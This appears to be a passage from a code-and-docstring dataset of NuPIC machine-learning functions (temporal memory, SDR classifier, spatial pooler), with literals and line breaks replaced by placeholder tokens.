nSamplesNotLimited,<EOL>predCounts)<EOL>", "docstring": "Computes the predictive ability of a temporal memory (TM). This routine returns\na value which is the average number of time steps of prediction provided\nby the TM. It accepts as input the inputs, outputs, and resets provided to\nthe TM as well as a 'minOverlapPct' used to evalulate whether or not a\nprediction is a good enough match to the actual input.\n\nThe 'outputs' are the pooling outputs of the TM. This routine treats each output\nas a \"manifold\" that includes the active columns that should be present in the\nnext N inputs. It then looks at each successive input and sees if it's active\ncolumns are within the manifold. For each output sample, it computes how\nmany time steps it can go forward on the input before the input overlap with\nthe manifold is less then 'minOverlapPct'. It returns the average number of\ntime steps calculated for each output.\n\nParameters:\n-----------------------------------------------\ninputs:          The inputs to the TM. Row 0 contains the inputs from time\n                 step 0, row 1 from time step 1, etc.\nresets:          The reset input to the TM. Element 0 contains the reset from\n                 time step 0, element 1 from time step 1, etc.\noutputs:         The pooling outputs from the TM. Row 0 contains the outputs\n                 from time step 0, row 1 from time step 1, etc.\nminOverlapPct:   How much each input's columns must overlap with the pooling\n                 output's columns to be considered a valid prediction.\n\nretval:          (Average number of time steps of prediction over all output\n                   samples,\n                  Average number of time steps of prediction when we aren't\n                   cut short by the end of the sequence,\n                  List containing frequency counts of each encountered\n                   prediction time)", "id": "f17557:m29"}
{"signature": "def getCentreAndSpreadOffsets(spaceShape,<EOL>spreadShape,<EOL>stepSize=<NUM_LIT:1>):", "body": "from nupic.math.cross import cross<EOL>shape = spaceShape<EOL>if shape[<NUM_LIT:0>] == <NUM_LIT:1> and shape[<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>centerOffsets = [(<NUM_LIT:0>,<NUM_LIT:0>)]<EOL><DEDENT>else:<EOL><INDENT>xMin = -<NUM_LIT:1> * (shape[<NUM_LIT:1>] // <NUM_LIT:2>)<EOL>xMax = xMin + shape[<NUM_LIT:1>] - <NUM_LIT:1><EOL>xPositions = list(range(stepSize * xMin, stepSize * xMax + <NUM_LIT:1>, stepSize))<EOL>yMin = -<NUM_LIT:1> * (shape[<NUM_LIT:0>] // <NUM_LIT:2>)<EOL>yMax = yMin + shape[<NUM_LIT:0>] - <NUM_LIT:1><EOL>yPositions = list(range(stepSize * yMin, stepSize * yMax + <NUM_LIT:1>, stepSize))<EOL>centerOffsets = list(cross(yPositions, xPositions))<EOL><DEDENT>numCenterOffsets = len(centerOffsets)<EOL>print(\"<STR_LIT>\", centerOffsets)<EOL>shape = spreadShape<EOL>if shape[<NUM_LIT:0>] == <NUM_LIT:1> and shape[<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>spreadOffsets = [(<NUM_LIT:0>,<NUM_LIT:0>)]<EOL><DEDENT>else:<EOL><INDENT>xMin = -<NUM_LIT:1> * (shape[<NUM_LIT:1>] // <NUM_LIT:2>)<EOL>xMax = xMin + shape[<NUM_LIT:1>] - <NUM_LIT:1><EOL>xPositions = list(range(stepSize * xMin, stepSize * xMax + <NUM_LIT:1>, stepSize))<EOL>yMin = -<NUM_LIT:1> * (shape[<NUM_LIT:0>] // <NUM_LIT:2>)<EOL>yMax = yMin + shape[<NUM_LIT:0>] - <NUM_LIT:1><EOL>yPositions = list(range(stepSize * yMin, stepSize * yMax + <NUM_LIT:1>, stepSize))<EOL>spreadOffsets = list(cross(yPositions, xPositions))<EOL>spreadOffsets.remove((<NUM_LIT:0>,<NUM_LIT:0>))<EOL>spreadOffsets.insert(<NUM_LIT:0>, (<NUM_LIT:0>,<NUM_LIT:0>))<EOL><DEDENT>numSpreadOffsets = len(spreadOffsets)<EOL>print(\"<STR_LIT>\", spreadOffsets)<EOL>return centerOffsets, spreadOffsets<EOL>", "docstring": "Generates centre offsets and spread offsets for block-mode based training\nregimes - star, cross, block.\n\n  Parameters:\n  -----------------------------------------------\n  spaceShape:   The (height, width) of the 2-D space to explore. This\n                sets the number of center-points.\n  spreadShape:  The shape (height, width) of the area around each center-point\n                to explore.\n  stepSize:     The step size. How big each step is, in pixels. This controls\n                *both* the spacing of the center-points within the block and the\n                points we explore around each center-point\n  retval:       (centreOffsets, spreadOffsets)", "id": "f17557:m30"}
{"signature": "def makeCloneMap(columnsShape, outputCloningWidth, outputCloningHeight=-<NUM_LIT:1>):", "body": "if outputCloningHeight < <NUM_LIT:0>:<EOL><INDENT>outputCloningHeight = outputCloningWidth<EOL><DEDENT>columnsHeight, columnsWidth = columnsShape<EOL>numDistinctMasters = outputCloningWidth * outputCloningHeight<EOL>a = numpy.empty((columnsHeight, columnsWidth), '<STR_LIT>')<EOL>for row in range(columnsHeight):<EOL><INDENT>for col in range(columnsWidth):<EOL><INDENT>a[row, col] = (col % outputCloningWidth) +(row % outputCloningHeight) * outputCloningWidth<EOL><DEDENT><DEDENT>return a, numDistinctMasters<EOL>", "docstring": "Make a two-dimensional clone map mapping columns to clone master.\n\n    This makes a map that is (numColumnsHigh, numColumnsWide) big that can\n    be used to figure out which clone master to use for each column.  Here are\n    a few sample calls\n\n    >>> makeCloneMap(columnsShape=(10, 6), outputCloningWidth=4)\n    (array([[ 0,  1,  2,  3,  0,  1],\n           [ 4,  5,  6,  7,  4,  5],\n           [ 8,  9, 10, 11,  8,  9],\n           [12, 13, 14, 15, 12, 13],\n           [ 0,  1,  2,  3,  0,  1],\n           [ 4,  5,  6,  7,  4,  5],\n           [ 8,  9, 10, 11,  8,  9],\n           [12, 13, 14, 15, 12, 13],\n           [ 0,  1,  2,  3,  0,  1],\n           [ 4,  5,  6,  7,  4,  5]], dtype=uint32), 16)\n\n    >>> makeCloneMap(columnsShape=(7, 8), outputCloningWidth=3)\n    (array([[0, 1, 2, 0, 1, 2, 0, 1],\n           [3, 4, 5, 3, 4, 5, 3, 4],\n           [6, 7, 8, 6, 7, 8, 6, 7],\n           [0, 1, 2, 0, 1, 2, 0, 1],\n           [3, 4, 5, 3, 4, 5, 3, 4],\n           [6, 7, 8, 6, 7, 8, 6, 7],\n           [0, 1, 2, 0, 1, 2, 0, 1]], dtype=uint32), 9)\n\n    >>> makeCloneMap(columnsShape=(7, 11), outputCloningWidth=5)\n    (array([[ 0,  1,  2,  3,  4,  0,  1,  2,  3,  4,  0],\n           [ 5,  6,  7,  8,  9,  5,  6,  7,  8,  9,  5],\n           [10, 11, 12, 13, 14, 10, 11, 12, 13, 14, 10],\n           [15, 16, 17, 18, 19, 15, 16, 17, 18, 19, 15],\n           [20, 21, 22, 23, 24, 20, 21, 22, 23, 24, 20],\n           [ 0,  1,  2,  3,  4,  0,  1,  2,  3,  4,  0],\n           [ 5,  6,  7,  8,  9,  5,  6,  7,  8,  9,  5]], dtype=uint32), 25)\n\n    >>> makeCloneMap(columnsShape=(7, 8), outputCloningWidth=3, outputCloningHeight=4)\n    (array([[ 0,  1,  2,  0,  1,  2,  0,  1],\n           [ 3,  4,  5,  3,  4,  5,  3,  4],\n           [ 6,  7,  8,  6,  7,  8,  6,  7],\n           [ 9, 10, 11,  9, 10, 11,  9, 10],\n           [ 0,  1,  2,  0,  1,  2,  0,  1],\n           [ 3,  4,  5,  3,  4,  5,  3,  4],\n           [ 6,  7,  8,  6,  7,  8,  6,  7]], dtype=uint32), 12)\n\n    The basic idea with this map is that, if you imagine things stretching off\n    to infinity, every instance of a given clone master is seeing the exact\n    same thing in all directions.  That includes:\n    - All neighbors must be the same\n    - The \"meaning\" of the input to each of the instances of the same clone\n      master must be the same.  If input is pixels and we have translation\n      invariance--this is easy.  At higher levels where input is the output\n      of lower levels, this can be much harder.\n    - The \"meaning\" of the inputs to neighbors of a clone master must be the\n      same for each instance of the same clone master.\n\n\n    The best way to think of this might be in terms of 'inputCloningWidth' and\n    'outputCloningWidth'.\n    - The 'outputCloningWidth' is the number of columns you'd have to move\n      horizontally (or vertically) before you get back to the same the same\n      clone that you started with.  MUST BE INTEGRAL!\n    - The 'inputCloningWidth' is the 'outputCloningWidth' of the node below us.\n      If we're getting input from an sensor where every element just represents\n      a shift of every other element, this is 1.\n      At a conceptual level, it means that if two different inputs are shown\n      to the node and the only difference between them is that one is shifted\n      horizontally (or vertically) by this many pixels, it means we are looking\n      at the exact same real world input, but shifted by some number of pixels\n      (doesn't have to be 1).  MUST BE INTEGRAL!\n\n    At level 1, I think you could have this:\n    * inputCloningWidth = 1\n    * sqrt(coincToInputRatio^2) = 2.5\n    * outputCloningWidth = 5\n    ...in this case, you'd end up with 25 masters.\n\n\n    Let's think about this case:\n      input:    - - -  0     1     2     3     4     5     -     -   - - -\n      columns:        0 1  2 3 4  0 1  2 3 4  0 1  2 3 4  0 1  2 3 4\n\n    ...in other words, input 0 is fed to both column 0 and column 1.  Input 1\n    is fed to columns 2, 3, and 4, etc.  Hopefully, you can see that you'll\n    get the exact same output (except shifted) with:\n      input:    - - -  -     -     0     1     2     3     4     5   - - -\n      columns:        0 1  2 3 4  0 1  2 3 4  0 1  2 3 4  0 1  2 3 4\n\n    ...in other words, we've shifted the input 2 spaces and the output shifted\n    5 spaces.\n\n\n    *** The outputCloningWidth MUST ALWAYS be an integral multiple of the ***\n    *** inputCloningWidth in order for all of our rules to apply.         ***\n    *** NOTE: inputCloningWidth isn't passed here, so it's the caller's   ***\n    ***       responsibility to ensure that this is true.                ***\n\n    *** The outputCloningWidth MUST ALWAYS be an integral multiple of     ***\n    *** sqrt(coincToInputRatio^2), too.                                  ***\n\n    @param  columnsShape         The shape (height, width) of the columns.\n    @param  outputCloningWidth   See docstring above.\n    @param  outputCloningHeight  If non-negative, can be used to make\n                                 rectangular (instead of square) cloning fields.\n    @return cloneMap             An array (numColumnsHigh, numColumnsWide) that\n                                 contains the clone index to use for each\n                                 column.\n    @return numDistinctClones    The number of distinct clones in the map.  This\n                                 is just outputCloningWidth*outputCloningHeight.", "id": "f17557:m31"}
{"signature": "def numpyStr(array, format='<STR_LIT>', includeIndices=False, includeZeros=True):", "body": "shape = array.shape<EOL>assert (len(shape) <= <NUM_LIT:2>)<EOL>items = ['<STR_LIT:[>']<EOL>if len(shape) == <NUM_LIT:1>:<EOL><INDENT>if includeIndices:<EOL><INDENT>format = '<STR_LIT>' + format<EOL>if includeZeros:<EOL><INDENT>rowItems = [format % (c,x) for (c,x) in enumerate(array)]<EOL><DEDENT>else:<EOL><INDENT>rowItems = [format % (c,x) for (c,x) in enumerate(array) if x != <NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rowItems = [format % (x) for x in array]<EOL><DEDENT>items.extend(rowItems)<EOL><DEDENT>else:<EOL><INDENT>(rows, cols) = shape<EOL>if includeIndices:<EOL><INDENT>format = '<STR_LIT>' + format<EOL><DEDENT>for r in range(rows):<EOL><INDENT>if includeIndices:<EOL><INDENT>rowItems = [format % (r,c,x) for c,x in enumerate(array[r])]<EOL><DEDENT>else:<EOL><INDENT>rowItems = [format % (x) for x in array[r]]<EOL><DEDENT>if r > <NUM_LIT:0>:<EOL><INDENT>items.append('<STR_LIT>')<EOL><DEDENT>items.append('<STR_LIT:[>')<EOL>items.extend(rowItems)<EOL>if r < rows-<NUM_LIT:1>:<EOL><INDENT>items.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>items.append('<STR_LIT:]>')<EOL><DEDENT><DEDENT><DEDENT>items.append('<STR_LIT:]>')<EOL>return '<STR_LIT:U+0020>'.join(items)<EOL>", "docstring": "Pretty print a numpy matrix using the given format string for each\n    value. Return the string representation\n\n    Parameters:\n    ------------------------------------------------------------\n    array:    The numpy array to print. This can be either a 1D vector or 2D matrix\n    format:   The format string to use for each value\n    includeIndices: If true, include [row,col] label for each value\n    includeZeros:   Can only be set to False if includeIndices is on.\n                    If True, include 0 values in the print-out\n                    If False, exclude 0 values from the print-out.", "id": "f17557:m32"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "tm = super(TemporalMemoryMonitorMixin, cls).read(proto)<EOL>tm.mmName = None<EOL>tm._mmTraces = None<EOL>tm._mmData = None<EOL>tm.mmClearHistory()<EOL>tm._mmResetActive = True<EOL>return tm<EOL>", "docstring": "Intercepts TemporalMemory deserialization request in order to initialize\n`TemporalMemoryMonitorMixin` state\n\n@param proto (DynamicStructBuilder) Proto object\n\n@return (TemporalMemory) TemporalMemory shim instance", "id": "f17559:c0:m1"}
{"signature": "def __init__(self,<EOL>numberOfCols=<NUM_LIT>,<EOL>cellsPerColumn=<NUM_LIT:10>,<EOL>initialPerm=<NUM_LIT>,<EOL>connectedPerm=<NUM_LIT>,<EOL>minThreshold=<NUM_LIT:8>,<EOL>newSynapseCount=<NUM_LIT:15>,<EOL>permanenceInc=<NUM_LIT>,<EOL>permanenceDec=<NUM_LIT>,<EOL>permanenceMax=<NUM_LIT:1.0>,<EOL>activationThreshold=<NUM_LIT:12>,<EOL>predictedSegmentDecrement=<NUM_LIT:0.0>,<EOL>maxSegmentsPerCell=<NUM_LIT:255>,<EOL>maxSynapsesPerSegment=<NUM_LIT:255>,<EOL>globalDecay=<NUM_LIT>,<EOL>maxAge=<NUM_LIT>,<EOL>pamLength=<NUM_LIT:1>,<EOL>verbosity=<NUM_LIT:0>,<EOL>outputType=\"<STR_LIT>\",<EOL>seed=<NUM_LIT>):", "body": "super(TMShimMixin, self).__init__(<EOL>columnDimensions=(numberOfCols,),<EOL>cellsPerColumn=cellsPerColumn,<EOL>activationThreshold=activationThreshold,<EOL>initialPermanence=initialPerm,<EOL>connectedPermanence=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>maxNewSynapseCount=newSynapseCount,<EOL>permanenceIncrement=permanenceInc,<EOL>permanenceDecrement=permanenceDec,<EOL>predictedSegmentDecrement=predictedSegmentDecrement,<EOL>maxSegmentsPerCell=maxSegmentsPerCell,<EOL>maxSynapsesPerSegment=maxSynapsesPerSegment,<EOL>seed=seed)<EOL>self.infActiveState = {\"<STR_LIT:t>\": None}<EOL>", "docstring": "Translate parameters and initialize member variables specific to `backtracking_tm.py`.", "id": "f17559:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "tm = super(TMShimMixin, cls).read(proto)<EOL>tm.infActiveState = {\"<STR_LIT:t>\": None}<EOL>return tm<EOL>", "docstring": "Intercepts TemporalMemory deserialization request in order to initialize\n`self.infActiveState`\n\n@param proto (DynamicStructBuilder) Proto object\n\n@return (TemporalMemory) TemporalMemory shim instance", "id": "f17559:c1:m1"}
{"signature": "def compute(self, bottomUpInput, enableLearn, computeInfOutput=None):", "body": "super(TMShimMixin, self).compute(set(bottomUpInput.nonzero()[<NUM_LIT:0>]),<EOL>learn=enableLearn)<EOL>numberOfCells = self.numberOfCells()<EOL>activeState = numpy.zeros(numberOfCells)<EOL>activeState[self.getActiveCells()] = <NUM_LIT:1><EOL>self.infActiveState[\"<STR_LIT:t>\"] = activeState<EOL>output = numpy.zeros(numberOfCells)<EOL>output[self.getPredictiveCells()] = <NUM_LIT:1><EOL>output[self.getActiveCells()] = <NUM_LIT:1><EOL>return output<EOL>", "docstring": "(From `backtracking_tm.py`)\nHandle one compute, possibly learning.\n\n@param bottomUpInput     The bottom-up input, typically from a spatial pooler\n@param enableLearn       If true, perform learning\n@param computeInfOutput  If None, default behavior is to disable the inference\n                         output when enableLearn is on.\n                         If true, compute the inference output\n                         If false, do not compute the inference output", "id": "f17559:c1:m2"}
{"signature": "def topDownCompute(self, topDownIn=None):", "body": "output = numpy.zeros(self.numberOfColumns())<EOL>columns = [self.columnForCell(idx) for idx in self.getPredictiveCells()]<EOL>output[columns] = <NUM_LIT:1><EOL>return output<EOL>", "docstring": "(From `backtracking_tm.py`)\nTop-down compute - generate expected input given output of the TM\n\n@param topDownIn top down input from the level above us\n\n@returns best estimate of the TM input that would have generated bottomUpOut.", "id": "f17559:c1:m3"}
{"signature": "def __init__(self,<EOL>numberOfCols=<NUM_LIT>,<EOL>cellsPerColumn=<NUM_LIT:10>,<EOL>initialPerm=<NUM_LIT>,<EOL>connectedPerm=<NUM_LIT>,<EOL>minThreshold=<NUM_LIT:8>,<EOL>newSynapseCount=<NUM_LIT:15>,<EOL>permanenceInc=<NUM_LIT>,<EOL>permanenceDec=<NUM_LIT>,<EOL>permanenceMax=<NUM_LIT:1.0>,<EOL>activationThreshold=<NUM_LIT:12>,<EOL>predictedSegmentDecrement=<NUM_LIT:0.0>,<EOL>maxSegmentsPerCell=<NUM_LIT:255>,<EOL>maxSynapsesPerSegment=<NUM_LIT:255>,<EOL>globalDecay=<NUM_LIT>,<EOL>maxAge=<NUM_LIT>,<EOL>pamLength=<NUM_LIT:1>,<EOL>verbosity=<NUM_LIT:0>,<EOL>outputType=\"<STR_LIT>\",<EOL>seed=<NUM_LIT>):", "body": "super(MonitoredTMShim, self).__init__(<EOL>columnDimensions=(numberOfCols,),<EOL>cellsPerColumn=cellsPerColumn,<EOL>activationThreshold=activationThreshold,<EOL>initialPermanence=initialPerm,<EOL>connectedPermanence=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>maxNewSynapseCount=newSynapseCount,<EOL>permanenceIncrement=permanenceInc,<EOL>permanenceDecrement=permanenceDec,<EOL>predictedSegmentDecrement=predictedSegmentDecrement,<EOL>maxSegmentsPerCell=maxSegmentsPerCell,<EOL>maxSynapsesPerSegment=maxSynapsesPerSegment,<EOL>seed=seed)<EOL>self.infActiveState = {\"<STR_LIT:t>\": None}<EOL>", "docstring": "Translate parameters and initialize member variables specific to `backtracking_tm.py`.", "id": "f17559:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "tm = super(MonitoredTMShim, cls).read(proto)<EOL>tm.infActiveState = {\"<STR_LIT:t>\": None}<EOL>return tm<EOL>", "docstring": "Intercepts TemporalMemory deserialization request in order to initialize\n`self.infActiveState`\n\n@param proto (DynamicStructBuilder) Proto object\n\n@return (TemporalMemory) TemporalMemory shim instance", "id": "f17559:c4:m1"}
{"signature": "def compute(self, bottomUpInput, enableLearn, computeInfOutput=None):", "body": "super(MonitoredTMShim, self).compute(set(bottomUpInput.nonzero()[<NUM_LIT:0>]),<EOL>learn=enableLearn)<EOL>numberOfCells = self.numberOfCells()<EOL>activeState = numpy.zeros(numberOfCells)<EOL>activeState[self.getActiveCells()] = <NUM_LIT:1><EOL>self.infActiveState[\"<STR_LIT:t>\"] = activeState<EOL>output = numpy.zeros(numberOfCells)<EOL>output[self.getPredictiveCells() + self.getActiveCells()] = <NUM_LIT:1><EOL>return output<EOL>", "docstring": "(From `backtracking_tm.py`)\nHandle one compute, possibly learning.\n\n@param bottomUpInput     The bottom-up input, typically from a spatial pooler\n@param enableLearn       If true, perform learning\n@param computeInfOutput  If None, default behavior is to disable the inference\n                         output when enableLearn is on.\n                         If true, compute the inference output\n                         If false, do not compute the inference output", "id": "f17559:c4:m2"}
{"signature": "def topDownCompute(self, topDownIn=None):", "body": "output = numpy.zeros(self.numberOfColumns())<EOL>columns = [self.columnForCell(idx) for idx in self.getPredictiveCells()]<EOL>output[columns] = <NUM_LIT:1><EOL>return output<EOL>", "docstring": "(From `backtracking_tm.py`)\nTop-down compute - generate expected input given output of the TM\n\n@param topDownIn top down input from the level above us\n\n@returns best estimate of the TM input that would have generated bottomUpOut.", "id": "f17559:c4:m3"}
{"signature": "def _pFormatArray(array_, fmt=\"<STR_LIT>\"):", "body": "return \"<STR_LIT>\" + \"<STR_LIT:U+0020>\".join(fmt % x for x in array_) + \"<STR_LIT>\"<EOL>", "docstring": "Return a string with pretty-print of a numpy array using the given format\n    for each element", "id": "f17560:m0"}
{"signature": "def compute(self, recordNum, patternNZ, classification, learn, infer):", "body": "if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", learn)<EOL>print(\"<STR_LIT>\", recordNum)<EOL>print(\"<STR_LIT>\" % len(patternNZ), patternNZ)<EOL>print(\"<STR_LIT>\", classification)<EOL><DEDENT>if len(self._patternNZHistory) > <NUM_LIT:0>:<EOL><INDENT>if recordNum < self._patternNZHistory[-<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if len(self._patternNZHistory) == <NUM_LIT:0> orrecordNum > self._patternNZHistory[-<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>self._patternNZHistory.append((recordNum, patternNZ))<EOL><DEDENT>retval = {}<EOL>if max(patternNZ) > self._maxInputIdx:<EOL><INDENT>newMaxInputIdx = max(patternNZ)<EOL>for nSteps in self.steps:<EOL><INDENT>self._weightMatrix[nSteps] = numpy.concatenate((<EOL>self._weightMatrix[nSteps],<EOL>numpy.zeros(shape=(newMaxInputIdx-self._maxInputIdx,<EOL>self._maxBucketIdx+<NUM_LIT:1>))), axis=<NUM_LIT:0>)<EOL><DEDENT>self._maxInputIdx = int(newMaxInputIdx)<EOL><DEDENT>if classification is not None:<EOL><INDENT>if type(classification[\"<STR_LIT>\"]) is not list:<EOL><INDENT>bucketIdxList = [classification[\"<STR_LIT>\"]]<EOL>actValueList = [classification[\"<STR_LIT>\"]]<EOL>numCategory = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>bucketIdxList = classification[\"<STR_LIT>\"]<EOL>actValueList = classification[\"<STR_LIT>\"]<EOL>numCategory = len(classification[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if learn:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>actValueList = None<EOL>bucketIdxList = None<EOL><DEDENT>if infer:<EOL><INDENT>retval = self.infer(patternNZ, actValueList)<EOL><DEDENT>if learn and classification[\"<STR_LIT>\"] is not None:<EOL><INDENT>for categoryI in range(numCategory):<EOL><INDENT>bucketIdx = bucketIdxList[categoryI]<EOL>actValue = actValueList[categoryI]<EOL>if bucketIdx > self._maxBucketIdx:<EOL><INDENT>for nSteps in self.steps:<EOL><INDENT>self._weightMatrix[nSteps] = numpy.concatenate((<EOL>self._weightMatrix[nSteps],<EOL>numpy.zeros(shape=(self._maxInputIdx+<NUM_LIT:1>,<EOL>bucketIdx-self._maxBucketIdx))), axis=<NUM_LIT:1>)<EOL><DEDENT>self._maxBucketIdx = int(bucketIdx)<EOL><DEDENT>while self._maxBucketIdx > len(self._actualValues) - <NUM_LIT:1>:<EOL><INDENT>self._actualValues.append(None)<EOL><DEDENT>if self._actualValues[bucketIdx] is None:<EOL><INDENT>self._actualValues[bucketIdx] = actValue<EOL><DEDENT>else:<EOL><INDENT>if (isinstance(actValue, int) or<EOL>isinstance(actValue, float) or<EOL>isinstance(actValue, int)):<EOL><INDENT>self._actualValues[bucketIdx] = ((<NUM_LIT:1.0> - self.actValueAlpha)<EOL>* self._actualValues[bucketIdx]<EOL>+ self.actValueAlpha * actValue)<EOL><DEDENT>else:<EOL><INDENT>self._actualValues[bucketIdx] = actValue<EOL><DEDENT><DEDENT><DEDENT>for (learnRecordNum, learnPatternNZ) in self._patternNZHistory:<EOL><INDENT>error = self._calculateError(recordNum, bucketIdxList)<EOL>nSteps = recordNum - learnRecordNum<EOL>if nSteps in self.steps:<EOL><INDENT>for bit in learnPatternNZ:<EOL><INDENT>self._weightMatrix[nSteps][bit, :] += self.alpha * error[nSteps]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if infer and self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", retval[\"<STR_LIT>\"])<EOL>for (nSteps, votes) in list(retval.items()):<EOL><INDENT>if nSteps == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>print(\"<STR_LIT>\" % (nSteps), _pFormatArray(votes))<EOL>bestBucketIdx = votes.argmax()<EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (bestBucketIdx,<EOL>retval[\"<STR_LIT>\"][bestBucketIdx])))<EOL><DEDENT>print()<EOL><DEDENT>return retval<EOL>", "docstring": "Process one input sample.\n\nThis method is called by outer loop code outside the nupic-engine. We\nuse this instead of the nupic engine compute() because our inputs and\noutputs aren't fixed size vectors of reals.\n\n\n:param recordNum: Record number of this input pattern. Record numbers\n  normally increase sequentially by 1 each time unless there are missing\n  records in the dataset. Knowing this information insures that we don't get\n  confused by missing records.\n\n:param patternNZ: List of the active indices from the output below. When the\n  input is from TemporalMemory, this list should be the indices of the\n  active cells.\n\n:param classification: Dict of the classification information where:\n\n  - bucketIdx: list of indices of the encoder bucket\n  - actValue: list of actual values going into the encoder\n\n  Classification could be None for inference mode.\n:param learn: (bool) if true, learn this sample\n:param infer: (bool) if true, perform inference\n\n:return:    Dict containing inference results, there is one entry for each\n            step in self.steps, where the key is the number of steps, and\n            the value is an array containing the relative likelihood for\n            each bucketIdx starting from bucketIdx 0.\n\n            There is also an entry containing the average actual value to\n            use for each bucket. The key is 'actualValues'.\n\n            for example:\n\n            .. code-block:: python\n\n               {1 :             [0.1, 0.3, 0.2, 0.7],\n                 4 :             [0.2, 0.4, 0.3, 0.5],\n                 'actualValues': [1.5, 3,5, 5,5, 7.6],\n               }", "id": "f17560:c0:m1"}
{"signature": "def infer(self, patternNZ, actValueList):", "body": "<EOL>if self.steps[<NUM_LIT:0>] == <NUM_LIT:0> or actValueList is None:<EOL><INDENT>defaultValue = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>defaultValue = actValueList[<NUM_LIT:0>]<EOL><DEDENT>actValues = [x if x is not None else defaultValue<EOL>for x in self._actualValues]<EOL>retval = {\"<STR_LIT>\": actValues}<EOL>for nSteps in self.steps:<EOL><INDENT>predictDist = self.inferSingleStep(patternNZ, self._weightMatrix[nSteps])<EOL>retval[nSteps] = predictDist<EOL><DEDENT>return retval<EOL>", "docstring": "Return the inference value from one input sample. The actual\nlearning happens in compute().\n\n:param patternNZ: list of the active indices from the output below\n:param classification: dict of the classification information:\n                bucketIdx: index of the encoder bucket\n                actValue:  actual value going into the encoder\n\n:return:    dict containing inference results, one entry for each step in\n            self.steps. The key is the number of steps, the value is an\n            array containing the relative likelihood for each bucketIdx\n            starting from bucketIdx 0.\n\n            for example:\n\n            .. code-block:: python\n\n               {'actualValues': [0.0, 1.0, 2.0, 3.0]\n                 1 : [0.1, 0.3, 0.2, 0.7]\n                 4 : [0.2, 0.4, 0.3, 0.5]}", "id": "f17560:c0:m2"}
{"signature": "def inferSingleStep(self, patternNZ, weightMatrix):", "body": "outputActivation = weightMatrix[patternNZ].sum(axis=<NUM_LIT:0>)<EOL>outputActivation = outputActivation - numpy.max(outputActivation)<EOL>expOutputActivation = numpy.exp(outputActivation)<EOL>predictDist = expOutputActivation / numpy.sum(expOutputActivation)<EOL>return predictDist<EOL>", "docstring": "Perform inference for a single step. Given an SDR input and a weight\nmatrix, return a predicted distribution.\n\n:param patternNZ: list of the active indices from the output below\n:param weightMatrix: numpy array of the weight matrix\n:return: numpy array of the predicted class label distribution", "id": "f17560:c0:m3"}
{"signature": "def _calculateError(self, recordNum, bucketIdxList):", "body": "error = dict()<EOL>targetDist = numpy.zeros(self._maxBucketIdx + <NUM_LIT:1>)<EOL>numCategories = len(bucketIdxList)<EOL>for bucketIdx in bucketIdxList:<EOL><INDENT>targetDist[bucketIdx] = <NUM_LIT:1.0>/numCategories<EOL><DEDENT>for (learnRecordNum, learnPatternNZ) in self._patternNZHistory:<EOL><INDENT>nSteps = recordNum - learnRecordNum<EOL>if nSteps in self.steps:<EOL><INDENT>predictDist = self.inferSingleStep(learnPatternNZ,<EOL>self._weightMatrix[nSteps])<EOL>error[nSteps] = targetDist - predictDist<EOL><DEDENT><DEDENT>return error<EOL>", "docstring": "Calculate error signal\n\n:param bucketIdxList: list of encoder buckets\n\n:return: dict containing error. The key is the number of steps\n         The value is a numpy array of error at the output layer", "id": "f17560:c0:m7"}
{"signature": "def __getitem__(self, columnIndex):", "body": "return super(_SparseMatrixCorticalColumnAdapter, self).getRow(columnIndex)<EOL>", "docstring": "Wraps getRow() such that instances may be indexed by columnIndex.", "id": "f17561:c1:m0"}
{"signature": "def replace(self, columnIndex, bitmap):", "body": "return super(_SparseMatrixCorticalColumnAdapter, self).replaceSparseRow(<EOL>columnIndex, bitmap<EOL>)<EOL>", "docstring": "Wraps replaceSparseRow()", "id": "f17561:c1:m1"}
{"signature": "def update(self, columnIndex, vector):", "body": "return super(_SparseMatrixCorticalColumnAdapter, self).setRowFromDense(<EOL>columnIndex, vector<EOL>)<EOL>", "docstring": "Wraps setRowFromDense()", "id": "f17561:c1:m2"}
{"signature": "def getColumnDimensions(self):", "body": "return self._columnDimensions<EOL>", "docstring": ":returns: (iter) the dimensions of the columns in the region", "id": "f17561:c4:m1"}
{"signature": "def getInputDimensions(self):", "body": "return self._inputDimensions<EOL>", "docstring": ":returns: (iter) the dimensions of the input vector", "id": "f17561:c4:m2"}
{"signature": "def getNumColumns(self):", "body": "return self._numColumns<EOL>", "docstring": ":returns: (int) the total number of columns", "id": "f17561:c4:m3"}
{"signature": "def getNumInputs(self):", "body": "return self._numInputs<EOL>", "docstring": ":returns: (int) the total number of inputs.", "id": "f17561:c4:m4"}
{"signature": "def getPotentialRadius(self):", "body": "return self._potentialRadius<EOL>", "docstring": ":returns: (float) the potential radius", "id": "f17561:c4:m5"}
{"signature": "def setPotentialRadius(self, potentialRadius):", "body": "self._potentialRadius = potentialRadius<EOL>", "docstring": ":param potentialRadius: (float) value to set", "id": "f17561:c4:m6"}
{"signature": "def getPotentialPct(self):", "body": "return self._potentialPct<EOL>", "docstring": ":returns: (float) the potential percent", "id": "f17561:c4:m7"}
{"signature": "def setPotentialPct(self, potentialPct):", "body": "self._potentialPct = potentialPct<EOL>", "docstring": ":param potentialPct: (float) value to set", "id": "f17561:c4:m8"}
